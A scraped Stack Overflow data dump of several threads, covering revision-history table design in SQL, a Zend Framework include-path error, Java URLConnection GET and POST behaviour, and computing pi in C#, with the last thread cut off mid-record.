"answer_id": 39358,
"author": "Kjetil Watnedal",
"author_id": 4116,
"author_profile": "https://Stackoverflow.com/users/4116",
"pm_score": 4,
"selected": false,
"text": "<p>We have implemented a solution very similar to the solution that Chris Roberts suggests, and that works pretty well for us.</p>\n\n<p>Only difference is that we only store the new value. The old value is after all stored in the previous history row </p>\n\n<pre><code>[ID] [int] IDENTITY(1,1) NOT NULL,\n[UserID] [int] NULL,\n[EventDate] [datetime] NOT NULL,\n[TableName] [varchar](50) NOT NULL,\n[RecordID] [varchar](20) NOT NULL,\n[FieldName] [varchar](50) NULL,\n[NewValue] [varchar](5000) NULL\n</code></pre>\n\n<p>Lets say you have a table with 20 columns. This way you only have to store the exact column that has changed instead of having to store the entire row.</p>\n"
},
{
"answer_id": 39360,
"author": "Simon Munro",
"author_id": 3893,
"author_profile": "https://Stackoverflow.com/users/3893",
"pm_score": 6,
"selected": true,
"text": "<ol>\n<li>Do <strong>not</strong> put it all in one table with an IsCurrent discriminator attribute. This just causes problems down the line, requires surrogate keys and all sorts of other problems.</li>\n<li>Design 2 does have problems with schema changes. If you change the Employees table you have to change the EmployeeHistories table and all the related sprocs that go with it. Potentially doubles you schema change effort.</li>\n<li>Design 1 works well and if done properly does not cost much in terms of a performance hit. You could use an xml schema and even indexes to get over possible performance problems. Your comment about parsing the xml is valid but you could easily create a view using xquery - which you can include in queries and join to. Something like this...</li>\n</ol>\n\n\n\n<pre><code>CREATE VIEW EmployeeHistory\nAS\n, FirstName, , DepartmentId\n\nSELECT EmployeeId, RevisionXML.value('(/employee/FirstName)[1]', 'varchar(50)') AS FirstName,\n\n RevisionXML.value('(/employee/LastName)[1]', 'varchar(100)') AS LastName,\n\n RevisionXML.value('(/employee/DepartmentId)[1]', 'integer') AS DepartmentId,\n\nFROM EmployeeHistories \n</code></pre>\n"
},
{
"answer_id": 40412,
"author": "Hank Gay",
"author_id": 4203,
"author_profile": "https://Stackoverflow.com/users/4203",
"pm_score": 2,
"selected": false,
"text": "<p>If indeed an audit trail is all you need, I'd lean toward the audit table solution (complete with denormalized copies of the important column on other tables, e.g., <code>UserName</code>). Keep in mind, though, that bitter experience indicates that a single audit table will be a huge bottleneck down the road; it's probably worth the effort to create individual audit tables for all your audited tables.</p>\n\n<p>If you need to track the actual historical (and/or future) versions, then the standard solution is to track the same entity with multiple rows using some combination of start, end, and duration values. You can use a view to make accessing current values convenient. If this is the approach you take, you can run into problems if your versioned data references mutable but unversioned data.</p>\n"
},
{
"answer_id": 126468,
"author": "Mark Streatfield",
"author_id": 17489,
"author_profile": "https://Stackoverflow.com/users/17489",
"pm_score": 5,
"selected": false,
"text": "<p>The <a href=\"http://database-programmer.blogspot.com/2008/07/history-tables.html\" rel=\"noreferrer\">History Tables</a> article in the <a href=\"http://database-programmer.blogspot.com/\" rel=\"noreferrer\">Database Programmer</a> blog might be useful - covers some of the points raised here and discusses the storage of deltas.</p>\n\n<p><strong>Edit</strong></p>\n\n<p>In the <a href=\"http://database-programmer.blogspot.com/2008/07/history-tables.html\" rel=\"noreferrer\">History Tables</a> essay, the author (<a href=\"http://database-programmer.blogspot.co.uk/p/about-author.html\" rel=\"noreferrer\">Kenneth Downs</a>), recommends maintaining a history table of at least seven columns:</p>\n\n<ol>\n<li>Timestamp of the change,</li>\n<li>User that made the change,</li>\n<li>A token to identify the record that was changed (where the history is maintained separately from the current state),</li>\n<li>Whether the change was an insert, update, or delete,</li>\n<li>The old value,</li>\n<li>The new value,</li>\n<li>The delta (for changes to numerical values).</li>\n</ol>\n\n<p>Columns which never change, or whose history is not required, should not be tracked in the history table to avoid bloat. Storing the delta for numerical values can make subsequent queries easier, even though it can be derived from the old and new values.</p>\n\n<p>The history table must be secure, with non-system users prevented from inserting, updating or deleting rows. Only periodic purging should be supported to reduce overall size (and if permitted by the use case).</p>\n"
},
{
"answer_id": 215308,
"author": "gregmac",
"author_id": 7913,
"author_profile": "https://Stackoverflow.com/users/7913",
"pm_score": 2,
"selected": false,
"text": "<p>How about:</p>\n\n<ul>\n<li>EmployeeID</li>\n<li>DateModified \n\n<ul>\n<li><em>and/or revision number, depending on how you want to track it</em></li>\n</ul></li>\n<li>ModifiedByUSerId\n\n<ul>\n<li><em>plus any other information you want to track</em></li>\n</ul></li>\n<li><em>Employee fields</em></li>\n</ul>\n\n<p>You make the primary key (EmployeeId, DateModified), and to get the \"current\" record(s) you just select MAX(DateModified) for each employeeid. Storing an IsCurrent is a very bad idea, because first of all, it can be calculated, and secondly, it is far too easy for data to get out of sync. </p>\n\n<p>You can also make a view that lists only the latest records, and mostly use that while working in your app. The nice thing about this approach is that you don't have duplicates of data, and you don't have to gather data from two different places (current in Employees, and archived in EmployeesHistory) to get all the history or rollback, etc).</p>\n"
},
{
"answer_id": 402788,
"author": "Henrik Gustafsson",
"author_id": 2010,
"author_profile": "https://Stackoverflow.com/users/2010",
"pm_score": 2,
"selected": false,
"text": "<p>Revisions of data is an aspect of the '<a href=\"http://en.wikipedia.org/wiki/Temporal_database#Valid_Time\" rel=\"nofollow noreferrer\">valid-time</a>' concept of a Temporal Database. Much research has gone into this, and many patterns and guidelines have emerged. I wrote a lengthy reply with a bunch of references to <a href=\"https://stackoverflow.com/questions/310963/relational-schema-for-fowlers-temporal-expressions#312534\">this</a> question for those interested.</p>\n"
},
{
"answer_id": 1042848,
"author": "dariol",
"author_id": 3644960,
"author_profile": "https://Stackoverflow.com/users/3644960",
"pm_score": 2,
"selected": false,
"text": "<p>If you want to rely on history data (for reporting reasons) you should use structure something like this:</p>\n\n<pre><code>// Holds Employee Entity\n\"Employees (EmployeeId, FirstName, LastName, DepartmentId, .., ..)\"\n\n// Holds the Employee revisions in rows.\n\"EmployeeHistories (HistoryId, EmployeeId, DateModified, OldValue, NewValue, FieldName)\"\n</code></pre>\n\n<p>Or global solution for application:</p>\n\n<pre><code>// Holds Employee Entity\n\"Employees (EmployeeId, FirstName, LastName, DepartmentId, .., ..)\"\n\n// Holds all entities revisions in rows.\n\"EntityChanges (EntityName, EntityId, DateModified, OldValue, NewValue, FieldName)\"\n</code></pre>\n\n<p>You can save your revisions also in XML, then you have only one record for one revision. This will be looks like:</p>\n\n<pre><code>// Holds Employee Entity\n\"Employees (EmployeeId, FirstName, LastName, DepartmentId, .., ..)\"\n\n// Holds all entities revisions in rows.\n\"EntityChanges (EntityName, EntityId, DateModified, XMLChanges)\"\n</code></pre>\n"
},
{
"answer_id": 3776519,
"author": "ConcernedOfTunbridgeWells",
"author_id": 15401,
"author_profile": "https://Stackoverflow.com/users/15401",
"pm_score": 4,
"selected": false,
"text": "<p>If you have to store history, make a shadow table with the same schema as the table you are tracking and a 'Revision Date' and 'Revision Type' column (e.g. 'delete', 'update'). Write (or generate - see below) a set of triggers to populate the audit table.</p>\n\n<p>It's fairly straightforward to make a tool that will read the system data dictionary for a table and generate a script that creates the shadow table and a set of triggers to populate it.</p>\n\n<p>Don't try to use XML for this, XML storage is a lot less efficient than the native database table storage that this type of trigger uses.</p>\n"
},
{
"answer_id": 17002243,
"author": "Tomas",
"author_id": 684229,
"author_profile": "https://Stackoverflow.com/users/684229",
"pm_score": 4,
"selected": false,
"text": "<p>Avoid Design 1; it is not very handy once you will need to for example rollback to old versions of the records - either automatically or "manually" using administrators console.</p>\n<p>I don't really see disadvantages of Design 2. I think the second, History table should contain all columns present in the first, Records table. E.g. in mysql you can easily create table with the same structure as another table (<code>create table X like Y</code>). And, when you are about to change structure of the Records table in your live database, you have to use <code>alter table</code> commands anyway - and there is no big effort in running these commands also for your History table.</p>\n<p>Notes</p>\n<ul>\n<li>Records table contains only lastest revision;</li>\n<li>History table contains all previous revisions of records in Records table;</li>\n<li>History table's primary key is a primary key of the Records table with added <code>RevisionId</code> column;</li>\n<li>Think about additional auxiliary fields like <code>ModifiedBy</code> - the user who created particular revision. You may also want to have a field <code>DeletedBy</code> to track who deleted particular revision.</li>\n<li>Think about what <code>DateModified</code> should mean - either it means where this particular revision was created, or it will mean when this particular revision was replaced by another one. The former requires the field to be in the Records table, and seems to be more intuitive at the first sight; the second solution however seems to be more practical for deleted records (date when this particular revision was deleted). If you go for the first solution, you would probably need a second field <code>DateDeleted</code> (only if you need it of course). Depends on you and what you actually want to record.</li>\n</ul>\n<p>Operations in Design 2 are very trivial:</p>\n<strong>Modify</strong>\n<ul>\n<li>copy the record from Records table to History table, give it new RevisionId (if it is not already present in Records table), handle DateModified (depends on how you interpret it, see notes above)</li>\n<li>go on with normal update of the record in Records table</li>\n</ul>\n<strong>Delete</strong>\n<ul>\n<li>do exactly the same as in the first step of Modify operation. Handle DateModified/DateDeleted accordingly, depending on the interpretation you have chosen.</li>\n</ul>\n<strong>Undelete (or rollback)</strong>\n<ul>\n<li>take highest (or some particular?) revision from History table and copy it to the Records table</li>\n</ul>\n<strong>List revision history for particular record</strong>\n<ul>\n<li>select from History table and Records table</li>\n<li>think what exactly you expect from this operation; it will probably determine what information you require from DateModified/DateDeleted fields (see notes above)</li>\n</ul>\n<p>If you go for Design 2, all SQL commands needed to do that will be very very easy, as well as maintenance! Maybe, it will be much much easier <strong>if you use the auxiliary columns (<code>RevisionId</code>, <code>DateModified</code>) also in the Records table - to keep both tables at exactly the same structure</strong> (except for unique keys)! This will allow for simple SQL commands, which will be tolerant to any data structure change:</p>\n<pre><code>insert into EmployeeHistory select * from Employe where ID = XX\n</code></pre>\n<p>Don't forget to use transactions!</p>\n<p><strong>As for the scaling</strong>, this solution is very efficient, since you don't transform any data from XML back and forth, just copying whole table rows - very simple queries, using indices - very efficient!</p>\n"
},
{
"answer_id": 17043060,
"author": "Mehran",
"author_id": 866082,
"author_profile": "https://Stackoverflow.com/users/866082",
"pm_score": 2,
"selected": false,
"text": "<p>I'm going to share with you my design and it's different from your both designs in that it requires one table per each entity type. I found the best way to describe any database design is through ERD, here's mine:</p>\n\n<p><img src=\"https://i.stack.imgur.com/wADNp.png\" alt=\"enter image description here\"></p>\n\n<p>In this example we have an entity named <em>employee</em>. <em>user</em> table holds your users' records and <em>entity</em> and <em>entity_revision</em> are two tables which hold revision history for all the entity types that you will have in your system. Here's how this design works:</p>\n\n<p><b>The two fields of <em>entity_id</em> and <em>revision_id</em></b></p>\n\n<p>Each entity in your system will have a unique entity id of its own. Your entity might go through revisions but its entity_id will remain the same. You need to keep this entity id in you employee table (as a foreign key). You should also store the type of your entity in the <em>entity</em> table (e.g. 'employee'). Now as for the revision_id, as its name shows, it keep track of your entity revisions. The best way I found for this is to use the <em>employee_id</em> as your revision_id. This means you will have duplicate revision ids for different types of entities but this is no treat to me (I'm not sure about your case). The only important note to make is that the combination of entity_id and revision_id should be unique.</p>\n\n<p>There's also a <em>state</em> field within <em>entity_revision</em> table which indicated the state of revision. It can have one of the three states: <code>latest</code>, <code>obsolete</code> or <code>deleted</code> (not relying on the date of revisions helps you a great deal to boost your queries).</p>\n\n<p>One last note on revision_id, I didn't create a foreign key connecting employee_id to revision_id because we don't want to alter entity_revision table for each entity type that we might add in future.</p>\n\n<p><strong>INSERTION</strong></p>\n\n<p>For each <em>employee</em> that you want to insert into database, you will also add a record to <em>entity</em> and <em>entity_revision</em>. These last two records will help you keep track of by whom and when a record has been inserted into database.</p>\n\n<p><strong>UPDATE</strong></p>\n\n<p>Each update for an existing employee record will be implemented as two inserts, one in employee table and one in entity_revision. The second one will help you to know by whom and when the record has been updated.</p>\n\n<p><strong>DELETION</strong></p>\n\n<p>For deleting an employee, a record is inserted into entity_revision stating the deletion and done.</p>\n\n<p>As you can see in this design no data is ever altered or removed from database and more importantly each entity type requires only one table. Personally I find this design really flexible and easy to work with. But I'm not sure about you as your needs might be different.</p>\n\n<p><strong>[UPDATE]</strong></p>\n\n<p>Having supported partitions in the new MySQL versions, I believe my design also comes with one of the best performances too. One can partition <code>entity</code> table using <code>type</code> field while partition <code>entity_revision</code> using its <code>state</code> field. This will boost the <code>SELECT</code> queries by far while keep the design simple and clean.</p>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/39281",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/191/"
] | We have a requirement in project to store all the revisions(Change History) for the entities in the database. Currently we have 2 designed proposals for this:
e.g. for "Employee" Entity
**Design 1:**
```
-- Holds Employee Entity
"Employees (EmployeeId, FirstName, LastName, DepartmentId, .., ..)"
-- Holds the Employee Revisions in Xml. The RevisionXML will contain
-- all data of that particular EmployeeId
"EmployeeHistories (EmployeeId, DateModified, RevisionXML)"
```
**Design 2:**
```
-- Holds Employee Entity
"Employees (EmployeeId, FirstName, LastName, DepartmentId, .., ..)"
-- In this approach we have basically duplicated all the fields on Employees
-- in the EmployeeHistories and storing the revision data.
"EmployeeHistories (EmployeeId, RevisionId, DateModified, FirstName,
LastName, DepartmentId, .., ..)"
```
Is there any other way of doing this thing?
The problem with the "Design 1" is that we have to parse XML each time when you need to access data. This will slow the process and also add some limitations like we cannot add joins on the revisions data fields.
And the problem with the "Design 2" is that we have to duplicate each and every field on all entities (We have around 70-80 entities for which we want to maintain revisions). | 1. Do **not** put it all in one table with an IsCurrent discriminator attribute. This just causes problems down the line, requires surrogate keys and all sorts of other problems.
2. Design 2 does have problems with schema changes. If you change the Employees table you have to change the EmployeeHistories table and all the related sprocs that go with it. Potentially doubles you schema change effort.
3. Design 1 works well and if done properly does not cost much in terms of a performance hit. You could use an xml schema and even indexes to get over possible performance problems. Your comment about parsing the xml is valid but you could easily create a view using xquery - which you can include in queries and join to. Something like this...
```
CREATE VIEW EmployeeHistory
AS
, FirstName, , DepartmentId
SELECT EmployeeId, RevisionXML.value('(/employee/FirstName)[1]', 'varchar(50)') AS FirstName,
RevisionXML.value('(/employee/LastName)[1]', 'varchar(100)') AS LastName,
RevisionXML.value('(/employee/DepartmentId)[1]', 'integer') AS DepartmentId,
FROM EmployeeHistories
``` |
39,364 | <p>I have inherited a client site which crashes every 3 or 4 days. It is built using the zend-framework with which I have no knowledge.</p>
<p>The following code:</p>
<pre><code><?php
// Make sure classes are in the include path.
ini_set('include_path', ini_get('include_path') . PATH_SEPARATOR . 'lib' . PATH_SEPARATOR . 'app' . DIRECTORY_SEPARATOR . 'classes');
// Use autoload so include or require statements are not needed.
require_once 'Zend/Loader.php';
Zend_Loader::registerAutoload();
// Run the application.
App_Main::run('production');
</code></pre>
<p>Is causing the following error:</p>
<pre>
[Tue Sep 02 12:58:45 2008] [error] [client 78.***.***.32] PHP Warning: require_once(Zend/Loader.php) [function.require-once]: failed to open stream: No such file or directory in /srv/www/vhosts/example.co.uk/httpdocs/bootstrap.php on line 6
[Tue Sep 02 12:58:45 2008] [error] [client 78.***.***.32] PHP Fatal error: require_once() [function.require]: Failed opening required 'Zend/Loader.php' (include_path='.:.:/usr/share/php5:/usr/share/php5/PEAR') in /srv/www/vhosts/example.co.uk/httpdocs/bootstrap.php on line 6
</pre>
<p>I don't even know where to begin trying to fix this. My level of knowledge of PHP is intermediate but like I said, I have no experience with Zend. Also, contacting the original developer is not an option.</p>
<p>The interesting thing is that even though the code is run every time a page of the site is hit the error is only happening every now and then.</p>
<p>I believe it must be something to do with the include_path but I am not sure.</p>
| [
{
"answer_id": 39372,
"author": "Adam Wright",
"author_id": 1200,
"author_profile": "https://Stackoverflow.com/users/1200",
"pm_score": 1,
"selected": false,
"text": "<p>The fact that it only happens sporadically makes me think this is less of a programming issue, and more of a sysadmin issue - if it were a defect in the implementation, you'd expect it to fail consistently considering the error is \"No such file or directory\". Two guesses</p>\n\n<ul>\n<li><p>There are multiple front-end web servers, and one of them is mis-configured (missing the Zend Framework).</p></li>\n<li><p>The PEAR include directory is network mounted, and occasionally vanishes for short periods of time.</p></li>\n</ul>\n\n<p>It could be a more insidious file system problem, but one would think this would effect more than just one file.</p>\n"
},
{
"answer_id": 39387,
"author": "Robin Barnes",
"author_id": 1349865,
"author_profile": "https://Stackoverflow.com/users/1349865",
"pm_score": 3,
"selected": true,
"text": "<p>for a start I think your include path should maybe have a trailing slash. Here is an example of mine :</p>\n\n<pre><code> set_include_path('../library/ZendFramework-1.5.2/library/:../application/classes/:../application/classes/excpetions/:../application/forms/'); \n</code></pre>\n\n<p>You bootstrap file will be included by another file (probably an index.php file). This means that if your include path is relative (as mine is) instead of absolute, then the path at which Loader.php is looked for changes if the file including bootstrap.php changes.</p>\n\n<p>For example, I have two index.php files in my Zend app, one for the front end, and one for the admin area. These index files each need there own bootstrap.php with different relative paths in because they are included by different index files, which means they <strong>have to be relative to the original requested index file, not the bootstrap file they are defined within</strong>.</p>\n\n<p>This could explain why your problem is intermittent, there could be another file including the bootstrap somewhere that is only used occasionally. I'd search through all the sites files for 'bootstrap.php' and see all the places which are including / requiring this file.</p>\n"
},
{
"answer_id": 498733,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 1,
"selected": false,
"text": "<p>I had the same problem, but problem was in permissons to files. I gave chmod for all RWX and now is everything fine.</p>\n\n<p>So maybe someone else will have same problem as me, then this was solution.</p>\n\n<p>Regards</p>\n"
},
{
"answer_id": 499560,
"author": "rg88",
"author_id": 11252,
"author_profile": "https://Stackoverflow.com/users/11252",
"pm_score": 0,
"selected": false,
"text": "<p>It works sometimes so there isn't anything inherently wrong on the PHP end of things (if the path was wrong it would never work... but it does, yes?). So what is causing Loader.php to be periodically inaccessible? I would suspect a permissions problem. Something that is making Loader.php or the directory that it is in inaccessible. Maybe a cron job is setting/reseting permissions? Check that first. See what permissions are when it is working and what they are when it is not. </p>\n"
},
{
"answer_id": 2833321,
"author": "Rasmus",
"author_id": 341128,
"author_profile": "https://Stackoverflow.com/users/341128",
"pm_score": 0,
"selected": false,
"text": "<p>In my case the Zend/Loader.php was not in the PEAR-directory. It should be there, but my webserver was a little raw. But you can insert it in the library/Zend directory as well.</p>\n\n<p>But indeed this does not answer why your problem occurs only sometimes.</p>\n"
},
{
"answer_id": 4401301,
"author": "cdnicoll",
"author_id": 248487,
"author_profile": "https://Stackoverflow.com/users/248487",
"pm_score": 0,
"selected": false,
"text": "<p>I had this error as well when I was working with PHPUnit 3.5.5. My main application script loaded the zend framework fine, however the test class ran into errors.</p>\n\n<p>My solution was to add the following to the test class</p>\n\n<pre><code> ini_set('include_path', ini_get('include_path') . PATH_SEPARATOR . 'lib' . PATH_SEPARATOR . 'app' . DIRECTORY_SEPARATOR . 'classes');\n\n require_once 'ThemeWidgets.php';\n require_once 'PHPUnit/Framework.php';\n\n require_once '../../library/Zend/Loader/AutoLoader.php';\n\n\n class ThemeWidgetsTest extends PHPUnit_Framework_TestCase\n {\n\n public function setUp() {\n Zend_Loader_Autoloader::getInstance();\n }\n...\n</code></pre>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/39364",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/319/"
] | I have inherited a client site which crashes every 3 or 4 days. It is built using the zend-framework with which I have no knowledge.
The following code:
```
<?php
// Make sure classes are in the include path.
ini_set('include_path', ini_get('include_path') . PATH_SEPARATOR . 'lib' . PATH_SEPARATOR . 'app' . DIRECTORY_SEPARATOR . 'classes');
// Use autoload so include or require statements are not needed.
require_once 'Zend/Loader.php';
Zend_Loader::registerAutoload();
// Run the application.
App_Main::run('production');
```
Is causing the following error:
```
[Tue Sep 02 12:58:45 2008] [error] [client 78.***.***.32] PHP Warning: require_once(Zend/Loader.php) [function.require-once]: failed to open stream: No such file or directory in /srv/www/vhosts/example.co.uk/httpdocs/bootstrap.php on line 6
[Tue Sep 02 12:58:45 2008] [error] [client 78.***.***.32] PHP Fatal error: require_once() [function.require]: Failed opening required 'Zend/Loader.php' (include_path='.:.:/usr/share/php5:/usr/share/php5/PEAR') in /srv/www/vhosts/example.co.uk/httpdocs/bootstrap.php on line 6
```
I don't even know where to begin trying to fix this. My level of knowledge of PHP is intermediate but like I said, I have no experience with Zend. Also, contacting the original developer is not an option.
The interesting thing is that even though the code is run every time a page of the site is hit the error is only happening every now and then.
I believe it must be something to do with the include\_path but I am not sure. | for a start I think your include path should maybe have a trailing slash. Here is an example of mine :
```
set_include_path('../library/ZendFramework-1.5.2/library/:../application/classes/:../application/classes/excpetions/:../application/forms/');
```
You bootstrap file will be included by another file (probably an index.php file). This means that if your include path is relative (as mine is) instead of absolute, then the path at which Loader.php is looked for changes if the file including bootstrap.php changes.
For example, I have two index.php files in my Zend app, one for the front end, and one for the admin area. These index files each need there own bootstrap.php with different relative paths in because they are included by different index files, which means they **have to be relative to the original requested index file, not the bootstrap file they are defined within**.
This could explain why your problem is intermittent, there could be another file including the bootstrap somewhere that is only used occasionally. I'd search through all the sites files for 'bootstrap.php' and see all the places which are including / requiring this file. |
39,391 | <p>If I create an HTTP <code>java.net.URL</code> and then call <code>openConnection()</code> on it, does it necessarily imply that an HTTP post is going to happen? I know that <code>openStream()</code> implies a GET. If so, how do you perform one of the other HTTP verbs without having to work with the raw socket layer?</p>
| [
{
"answer_id": 39431,
"author": "WMR",
"author_id": 2844,
"author_profile": "https://Stackoverflow.com/users/2844",
"pm_score": 2,
"selected": false,
"text": "<p>No it does not. But if the protocol of the URL is HTTP, you'll get a <a href=\"http://java.sun.com/javase/6/docs/api/java/net/HttpURLConnection.html\" rel=\"nofollow noreferrer\"><code>HttpURLConnection</code></a> as a return object. This class has a <code>setRequestMethod</code> method to specify which HTTP method you want to use. </p>\n\n<p>If you want to do more sophisticated stuff you're probably better off using a library like <a href=\"http://hc.apache.org/httpclient-3.x/\" rel=\"nofollow noreferrer\">Jakarta HttpClient</a>.</p>\n"
},
{
"answer_id": 39449,
"author": "Herms",
"author_id": 1409,
"author_profile": "https://Stackoverflow.com/users/1409",
"pm_score": 5,
"selected": true,
"text": "<p>If you retrieve the <code>URLConnection</code> object using <code>openConnection()</code> it doesn't actually start communicating with the server. That doesn't happen until you get the stream from the <code>URLConnection()</code>. When you first get the connection you can add/change headers and other connection properties before actually opening it.</p>\n\n<p>URLConnection's life cycle is a bit odd. It doesn't send the headers to the server until you've gotten one of the streams. If you just get the input stream then I believe it does a GET, sends the headers, then lets you read the output. If you get the output stream then I believe it sends it as a POST, as it assumes you'll be writing data to it (You may need to call <code>setDoOutput(true)</code> for the output stream to work). As soon as you get the input stream the output stream is closed and it waits for the response from the server.</p>\n\n<p>For example, this should do a POST:</p>\n\n<pre><code>URL myURL = new URL(\"http://example.com/my/path\");\nURLConnection conn = myURL.openConnection();\nconn.setDoOutput(true);\nconn.setDoInput(true);\n\nOutputStream os = conn.getOutputStream();\nos.write(\"Hi there!\");\nos.close();\n\nInputStream is = conn.getInputStream();\n// read stuff here\n</code></pre>\n\n<p>While this would do a GET:</p>\n\n<pre><code>URL myURL = new URL(\"http://example.com/my/path\");\nURLConnection conn = myURL.openConnection();\nconn.setDoOutput(false);\nconn.setDoInput(true);\n\nInputStream is = conn.getInputStream();\n// read stuff here\n</code></pre>\n\n<p><code>URLConnection</code> will also do other weird things. If the server specifies a content length then <code>URLConnection</code> will keep the underlying input stream open until it receives that much data, <em>even if you explicitly close it</em>. This caused a lot of problems for us as it made shutting our client down cleanly a bit hard, as the <code>URLConnection</code> would keep the network connection open. This probably probably exists even if you just use <code>getStream()</code> though.</p>\n"
}
] | 2008/09/02 | [
"https://Stackoverflow.com/questions/39391",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4223/"
] | If I create an HTTP `java.net.URL` and then call `openConnection()` on it, does it necessarily imply that an HTTP post is going to happen? I know that `openStream()` implies a GET. If so, how do you perform one of the other HTTP verbs without having to work with the raw socket layer? | If you retrieve the `URLConnection` object using `openConnection()` it doesn't actually start communicating with the server. That doesn't happen until you get the stream from the `URLConnection()`. When you first get the connection you can add/change headers and other connection properties before actually opening it.
URLConnection's life cycle is a bit odd. It doesn't send the headers to the server until you've gotten one of the streams. If you just get the input stream then I believe it does a GET, sends the headers, then lets you read the output. If you get the output stream then I believe it sends it as a POST, as it assumes you'll be writing data to it (You may need to call `setDoOutput(true)` for the output stream to work). As soon as you get the input stream the output stream is closed and it waits for the response from the server.
For example, this should do a POST:
```
URL myURL = new URL("http://example.com/my/path");
URLConnection conn = myURL.openConnection();
conn.setDoOutput(true);
conn.setDoInput(true);
OutputStream os = conn.getOutputStream();
os.write("Hi there!");
os.close();
InputStream is = conn.getInputStream();
// read stuff here
```
While this would do a GET:
```
URL myURL = new URL("http://example.com/my/path");
URLConnection conn = myURL.openConnection();
conn.setDoOutput(false);
conn.setDoInput(true);
InputStream is = conn.getInputStream();
// read stuff here
```
`URLConnection` will also do other weird things. If the server specifies a content length then `URLConnection` will keep the underlying input stream open until it receives that much data, *even if you explicitly close it*. This caused a lot of problems for us as it made shutting our client down cleanly a bit hard, as the `URLConnection` would keep the network connection open. This probably probably exists even if you just use `getStream()` though. |
39,395 | <p>How can I calculate the value of PI using C#?</p>
<p>I was thinking it would be through a recursive function, if so, what would it look like and are there any math equations to back it up?</p>
<p>I'm not too fussy about performance, mainly how to go about it from a learning point of view.</p>
| [
{
"answer_id": 39401,
"author": "Niyaz",
"author_id": 184,
"author_profile": "https://Stackoverflow.com/users/184",
"pm_score": 1,
"selected": false,
"text": "<p>Calculate like this:</p>\n\n<pre><code>x = 1 - 1/3 + 1/5 - 1/7 + 1/9 (... etc as far as possible.)\nPI = x * 4\n</code></pre>\n\n<p>You have got Pi !!!</p>\n\n<p>This is the simplest method I know of.</p>\n\n<p>The value of PI slowly converges to the actual value of Pi (3.141592165......). If you iterate more times, the better.</p>\n"
},
{
"answer_id": 39404,
"author": "wvdschel",
"author_id": 2018,
"author_profile": "https://Stackoverflow.com/users/2018",
"pm_score": 7,
"selected": true,
"text": "<p>If you want recursion:</p>\n\n<pre><code>PI = 2 * (1 + 1/3 * (1 + 2/5 * (1 + 3/7 * (...))))\n</code></pre>\n\n<p>This would become, after some rewriting:</p>\n\n<pre><code>PI = 2 * F(1);\n</code></pre>\n\n<p>with F(i):</p>\n\n<pre><code>double F (int i) {\n return 1 + i / (2.0 * i + 1) * F(i + 1);\n}\n</code></pre>\n\n<p>Isaac Newton (you may have heard of him before ;) ) came up with this trick.\nNote that I left out the end condition, to keep it simple. In real life, you kind of need one.</p>\n"
},
{
"answer_id": 39424,
"author": "Skizz",
"author_id": 1898,
"author_profile": "https://Stackoverflow.com/users/1898",
"pm_score": 5,
"selected": false,
"text": "<p>How about using:</p>\n\n<pre><code>double pi = Math.PI;\n</code></pre>\n\n<p>If you want better precision than that, you will need to use an algorithmic system and the Decimal type.</p>\n"
},
{
"answer_id": 39442,
"author": "Anthony Mastrean",
"author_id": 3619,
"author_profile": "https://Stackoverflow.com/users/3619",
"pm_score": 0,
"selected": false,
"text": "<p>In any production scenario, I would compel you to look up the value, to the desired number of decimal points, and store it as a 'const' somewhere your classes can get to it.</p>\n\n<p>(unless you're writing scientific 'Pi' specific software...)</p>\n"
},
{
"answer_id": 39491,
"author": "OysterD",
"author_id": 2638,
"author_profile": "https://Stackoverflow.com/users/2638",
"pm_score": 2,
"selected": false,
"text": "<p>Good overview of different algorithms:</p>\n\n<ul>\n<li><a href=\"http://en.wikipedia.org/wiki/Computing_%CF%80\" rel=\"nofollow noreferrer\">Computing pi</a>;</li>\n<li><a href=\"http://en.wikipedia.org/wiki/Gauss%E2%80%93Legendre_algorithm\" rel=\"nofollow noreferrer\">Gauss-Legendre-Salamin</a>.</li>\n</ul>\n\n<p>I'm not sure about the complexity claimed for the Gauss-Legendre-Salamin algorithm in the first link (I'd say O(N log^2(N) log(log(N)))).</p>\n\n<p>I do encourage you to try it, though, the convergence is <em>really</em> fast.</p>\n\n<p>Also, I'm not really sure about why trying to convert a quite simple procedural algorithm into a recursive one?</p>\n\n<p>Note that if you are interested in performance, then working at a bounded precision (typically, requiring a 'double', 'float',... output) does not really make sense, as the obvious answer in such a case is just to hardcode the value.</p>\n"
},
{
"answer_id": 39497,
"author": "DrPizza",
"author_id": 2131,
"author_profile": "https://Stackoverflow.com/users/2131",
"pm_score": -1,
"selected": false,
"text": "<pre><code>public double PI = 22.0 / 7.0;\n</code></pre>\n"
},
{
"answer_id": 39566,
"author": "Anthony Mastrean",
"author_id": 3619,
"author_profile": "https://Stackoverflow.com/users/3619",
"pm_score": 0,
"selected": false,
"text": "<p>Regarding...</p>\n\n<blockquote>\n <p>... how to go about it from a learning point of view.</p>\n</blockquote>\n\n<p>Are you trying to learning to program scientific methods? or to produce production software? I hope the community sees this as a valid question and not a nitpick.</p>\n\n<p>In either case, I think writing your own Pi is a solved problem. Dmitry showed the 'Math.PI' constant already. Attack another problem in the same space! Go for generic Newton approximations or something slick.</p>\n"
},
{
"answer_id": 39579,
"author": "joel.neely",
"author_id": 3525,
"author_profile": "https://Stackoverflow.com/users/3525",
"pm_score": 1,
"selected": false,
